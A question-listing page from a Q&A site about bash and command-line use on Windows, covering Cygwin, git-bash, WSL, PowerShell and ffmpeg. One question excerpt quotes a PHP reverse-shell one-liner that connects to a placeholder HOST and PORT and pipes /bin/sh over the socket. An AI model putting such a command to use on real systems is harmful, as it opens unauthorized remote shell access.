Skip to main content

All Questions

Tagged with
Filter by
Sorted by
Tagged with
1 vote
2 answers
146 views

FFMpeg: How to get the real return value in bash

I've always used ffmpeg via a cmd-script and I always could check the %ERRORLEVEL% which was always '0' on success or '!0' if an error occured. I'm trying to recode my cmd-scripts in bash (using msys2 ...
lhksoft's user avatar
  • 13
0 votes
1 answer
303 views

How do I make a command line always show in front of another app

let's say I only have one monitor and I open an IDE and a powershell window. I need to type words in the IDE's current tab while watching the conent of the command line. The problem I have is, ...
user22155685's user avatar
1 vote
1 answer
105 views

git is unable to properly determine the terminal width (git-bash, windows)

As you can see in the screenshot, the terminal is currently 100 characters wide, and both methods of detecting such that I'm aware of are returning the correct value. Despite this, unless I explicitly ...
davidmwhynot's user avatar
1 vote
0 answers
92 views

ls in Docker on Windows not showing one directory

I'm running Windows Server 2016 Datacenter version 1607 (build 14393.6614) with Docker Desktop Community Version 2.0.0.3 (31259). I'm running an Ubuntu docker container in an interactive mode with my ...
user1543037's user avatar
0 votes
0 answers
1k views

Bash - node: command not found when being run in a shell script

When trying to run a node command from a .sh script I get the error node: command not found, however I can see that node is installed, running node -v shows me my current version, what could be the ...
Danyx's user avatar
  • 101
1 vote
1 answer
482 views

What's the difference between git-bash.exe and bash.exe and how they interact with Windows Terminal?

I've installed Git for Windows. I want to run git-bash in a Windows Terminal tab. I initially configured a git-bash profile, in Windows Terminal, whose Command Line field I populated with C:\Program ...
StoneThrow's user avatar
  • 1,197
-1 votes
1 answer
52 views

tsunami windows 10 curl java home environment variable error

I am setting up tsunami on Windows 10. I am following the tutorial (https://github.com/google/tsunami-security-scanner). When I run the bash command, I get the following error: ERROR: JAVA_HOME is not ...
noob832947's user avatar
0 votes
0 answers
158 views

cygwin terminal adds carriage return to bash prompt [duplicate]

Running Windows 10. Just installed Cygwin, running it in Windows Terminal, tried to change the prompt format by editing PS1 variable and exporting in .bashrc and .bash_profile: alias vim='nvim' alias ...
chenel's user avatar
  • 1
1 vote
0 answers
348 views

Creating a script for Windows 11 to gzip some files using 7-zip then move and replace them in another folder

I have the following directory structure: Parent Folder: Project Children of Project: data, rawData Inside of rawData I have: index.html, settings.html, user.html, script.js, style.css and other files....
George Florian's user avatar
0 votes
0 answers
122 views

I can't connect from Mac when I change the default shell to bash on Windows 11 SSH

I started an OpenSSH server on Windows and connected from a Mac terminal. I was able to connect when the default shell was cmd.exe, PowerShell, or GitBash, but not when I changed to bash. New-...
Masamoto Miyata's user avatar
0 votes
1 answer
1k views

Is it possible to run CrystalDiskInfo from the command line/powershell?

I want to be able to run CrystalDiskInfo from the cmd to save and analyze the data. I want to do it in a way where I can automatically run CrystalDiskInfo on a remote device and send commands based on ...
Sasha's user avatar
  • 1
1 vote
0 answers
92 views

How to make "<&3 >&3 2>&3" command works in Windows as in Linux?

I tried this commmand on Debian GNU/Linux 11 (bullseye) shell : php -r '$sock=fsockopen("HOST",PORT);exec("/bin/sh -i <&3 >&3 2>&3");', and it worked ...
Wira Wibowo's user avatar
-2 votes
2 answers
425 views

$PATH corruption on Cygwin on Windows 10

I am running cygwin on a Windows 10 computer. If I execute $PATH from the cygwin command window, I get the following error: $ $PATH -bash: /usr/local/bin:/usr/bin:/cygdrive/c/Program: No such file or ...
Ben Blackwell's user avatar
3 votes
0 answers
1k views

I wan't to configure Windows Powershell Script execution policy precisely

Is it possible to configure the Powershell execution policy to ask the Administrator for authorization each time a Powershell script wants to run? Something like this : Windows Administrator ...
leevmealone's user avatar
1 vote
1 answer
340 views

Start cygwin bash.exe without inheriting windows home

I want to be able to run in the cygwin environment from CMD but when I run C:\cygwin64\bin\bash.exe -l -i my home gets set to the windows home. As I understand bash.exe inherits the environment from ...
Pangi's user avatar
  • 15
3 votes
2 answers
1k views

Some files have '?' at the end of the file name, and I need to find such files

I don't have any idea how these files came about to be, but here's what it looks like with ls -lh: total 8.1G -rw-r--r-- 1 root root 1.6G Apr 13 2022 test_some_data_S6_R2.fastq.gz? -rw-r--r-- 1 ...
Karthik Nair's user avatar
1 vote
0 answers
352 views

Tag folders/files in Linux and Windows

I'm trying to create a simple bash script to copy a lot of files to another disk, like a backup. I know I can create a database to keep track of which files I already copied but I would like to know ...
Ronaldo Lanhellas's user avatar
1 vote
1 answer
671 views

Is there a way to open several connections through script on Anydesk?

I'm trying to make a script where I could do the following: Open an Anydesk connection Put the ID and password Close the connection Repeat 1, 2 and 3 but with different IDs. The idea of this is ...
Dany's user avatar
  • 11
0 votes
0 answers
116 views

PowerShell command makes windows loop

I've installed today, the Screenfetcher module for Windows - as follows: PS D:\INSTALKI\ScreenFetch> Find-Module -Repository Local Version Name Repository ...
Marcin's user avatar
  • 1
1 vote
0 answers
347 views

Globally store all command line / bash / windows terminal input and output into text log files

I am looking for a global and automated way to always log all the input and output of all of the command line windows I am using into text files. I am using 3 types of console on Win 10 - git-bash.exe,...
Bartosz's user avatar
  • 173
0 votes
1 answer
795 views

Why is my git bash (mingw64) running a nonsense command when using the -c option?

I am getting this at the moment when using git bash: C:\>bash -c pwd C:\Program Files\Git\bin\bash.exe: line 1: $'MZ\220\003': command not found /c When I use the debbuging option, I get this: C:\&...
Haroon's user avatar
  • 11
0 votes
0 answers
106 views

windows exe on ubuntu server

I have to delete specific files on an ubuntu server. (If users have an problem with changing to home office and back) I use to run sudo find <start> -type f -name geometry.<bs>.<login&...
Andy A.'s user avatar
  • 113
2 votes
2 answers
7k views

How to download GDB from minGW correctly?

I am using GDB, downloaded from MinGW Installation Manager(I doubt it's installed correctly), to debug C++, and GDB cannot be found in the path below used to debug. C:\msys64\mingw64\bin Other exes ...
schizophrenia 's user avatar
2 votes
0 answers
61 views

Why does $PATH come in two different formats in mintty on Windows?

I'm trying to use node to do a small inline string manipulation of the current PATH in a bash script (in mintty.exe on a GitHub Windows Action Runner), but it's not working as expected. I've recreated ...
Cameron Tacklind's user avatar
0 votes
3 answers
169 views

Do command line applications generally close between user commands?

I recently stumbled upon applications that apparently are run purely through the command line. One of such applications is Git. When I run it in cmd.exe, bash or powershell I usually first specify the ...
Aiko's user avatar
  • 409
1 vote
0 answers
919 views

Where is /usr/local/bin on windows

For context, i installed apktools software by moving file to C:\Windows and run the software from command prompt. I use windows 10 (also enabled windows subsystem for linux) and just installed ubuntu ...
LLL's user avatar
  • 111
1 vote
1 answer
1k views

Is it possible to run shell script in the current shell instance not in a new one?

I want to do something like "cd /path/to/some/folder" and after the script finishes I want to stay in that directory but instead I get back to the original directory before running the ...
Mohamed Tarek's user avatar
0 votes
0 answers
66 views

Set affinity for started process with windows bash (and use same terminal window)

I open MSYS2 bash to start another app (ruby for example). Then I can use Process Explorer or Task Manager to set the affinity for ruby process. Is it possible to set it directly from bash when ...
user124's user avatar
  • 191
4 votes
2 answers
2k views

Windows: How to make cygwin bash.exe to take precedence over wsl in command line?

I have installed cygwin on Windows 11. Now, when I open the Windows command line, I want the bash.exe command to run the cygwin's bash command instead of bash linked with wsl (Windows subsystem for ...
Adam's user avatar
  • 151
0 votes
2 answers
832 views

Bash terminal rm permission denied on windows

I am currently learning how to use the bash hyper terminal on windows. All commands seem to work correctly e.g mkdir, touch, cd; but when trying to use rm to remove a file I get the message: "rm: ...
Mike Piedra's user avatar
0 votes
0 answers
192 views

Reverse SSH on Windows Git BASH

I have multiples Windows 10 computer where I can't open anymore ports, neither install more software. But those computers have git bash installed on it. I would like to be able to run some bash script ...
olive007's user avatar
  • 121
1 vote
0 answers
883 views

process exited with code 1 (0x00000001) after Git update 2.36.1 on Windows 10

After I tried to update my Git version to 2.36.1, on my Windows 10 machine I've been getting this error in the Windows terminal: [process exited with code 1 (0x00000001)] I have tried to check for ...
Krullmizter's user avatar
1 vote
1 answer
545 views

Can you sftp and scp into windows openssh with bash set as the default shell?

When the default ssh shell is set to powershell: New-ItemProperty -Path "HKLM:\SOFTWARE\OpenSSH" -Name DefaultShell -Value "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&...
Simon Allfrey's user avatar
0 votes
0 answers
1k views

Unable to install windows subsystem for linux, error 0x800f0831

When I tried to install wsl without enabling it, it gives me this error PS C:\WINDOWS\system32> wsl --install wsl : The term 'wsl' is not recognized as the name of a cmdlet, function, script file, ...
sahil's user avatar
  • 1
0 votes
0 answers
104 views

textcleaner not found error on powershell

Iam trying to run the textcleaner script on windows powershell(bash) textcleaner.sh -g -e normalize -f 50 -o 10 -s 10 "F:\Testing\input\input.tif" "F:\Testing\output\input.tif" I ...
Travelz Online's user avatar
0 votes
1 answer
509 views

Syntax differences between Command Prompt and Terminal

I am studying the differences between the Windows command prompt syntax and the Ubuntu Terminal syntax. I've been messing around with cd, cd(space backslash), cd(backslash), cd/, cd /, cd.., cd .., ...
Meester Moo's user avatar
0 votes
1 answer
7k views

Bash won't open in Windows 11

I am trying to open Bash in Windows 11. However, I can't get it to open. The best that happens is it opens and then immediately closes (in a fraction of a second). I understand there is already a ...
PainfulTruth's user avatar
1 vote
3 answers
342 views

What does the "cyg" prefix mean?

I've seen so many cyg prefixed things like cygstart, cygpath, cygwin etc., but what exactly does this prefix mean?
Wenfang Du's user avatar
3 votes
1 answer
689 views

Why the shell of MSYS2 can find binary files without "exe" extension in the folder /usr/bin

In MSYS2, for the binary files in the folder /usr/bin, I find that I can call them by "name" or "name.exe". However, in the Windows file system, there are only binary files with &...
myy1966's user avatar
  • 31
1 vote
2 answers
8k views

Open git bash in current directory

Previously when I was in a directory, I clicked 'git bash here' and it would open in that directory. Now it opens my home directory. How can I fix this?
Joeri's user avatar
  • 11
1 vote
1 answer
3k views

How to set blank line before every new prompt for bash on cmder?

I'm using cmder as my command prompt in windows and also installed the ubuntu from Microsoft app store using subsystem layer for linux. How to set a blank line before every new prompt for bash on ...
SeyyedKhandon's user avatar
1 vote
1 answer
753 views

git-bash.exe and bash.exe show different compiler version and paths

When I start git-bash.exe by, for example, selecting "Git Bash Here" option and check my compiler version and path I receive the following output: $ g++ --version g++.exe (Rev2, Built by ...
a_girl's user avatar
  • 286
1 vote
0 answers
263 views

WSL displays lots of empty lines when running PowerShell commands

In WSL, I sometimes want to run PowerShell commands, but it weirdly creates a ton of empty lines. How do I prevent these empty lines from spamming my console or script output? # Example1 (from Ubuntu ...
YorSubs's user avatar
  • 939
0 votes
0 answers
42 views

Don't know how to write the name of file in bash

So in linux i simply write this : for((i=1; i<=100; ++i)); do echo $i ./gen $i > input ./a < input > out1 ./brute < input > out2 diff -w out1 out2 || break done hovewer ...
Brownie Bryan's user avatar
3 votes
1 answer
938 views

How can I play a sound when my Git for Windows Bash command prompt is ready?

I use the shell Git for Windows Bash on Windows 10 and I want to play a sound whenever my command prompt is ready. This acoustic feedback should help me to get (back) to my command line when my ...
Frizelbliz's user avatar
1 vote
1 answer
2k views

PowerShell - Allow non-admin users to disable/enable Tasks

I have a task that triggers every hour, and runs a powershell script. I am supposed to deploy this script along with the task on workstations, where all users are non-admin users, however, the users ...
mully's user avatar
  • 934
2 votes
1 answer
1k views

Windows Terminal: How to create multiple profiles with different start commands on same WSL1 Ubuntu

I'm on Windows 10 and have WSL1 Ubuntu. On Windows Terminal, I have a profile for it called "Ubuntu". (For this question, assume I cannot change those tools - for instance, I can't upgrade ...
cheryllium's user avatar
1 vote
0 answers
193 views

What is the meaning of the plus (+) sign in the User section of my Git bash shell prompt?

I recently installed Bash for Windows to use Git on my office laptop with Windows 10, an OS I'm not so familiar with. When I open this bash terminal I expect the prompt would show you your username ...
Ge Se's user avatar
  • 11
0 votes
0 answers
41 views

Is there a setting to make Windows file explorer use forward slashes? Or an alternative file explorer app? [duplicate]

git bash doesn't like backslashes, but windows supports both backslashes and forward slashes. I would like to just use forward slashes everywhere, especially file explorer so I can just copy a file ...
Matthew's user avatar
  • 101
0 votes
1 answer
3k views

Slow bash under WSL

I have a Windows 10 system with WSL v2 Ubuntu enabled. If I run bash from Windows to call a programm installed on Linux, it is very slow (500-800ms) for even a trivial command. I used Measure-Command ...
tomfroehle's user avatar

1
2 3 4 5
7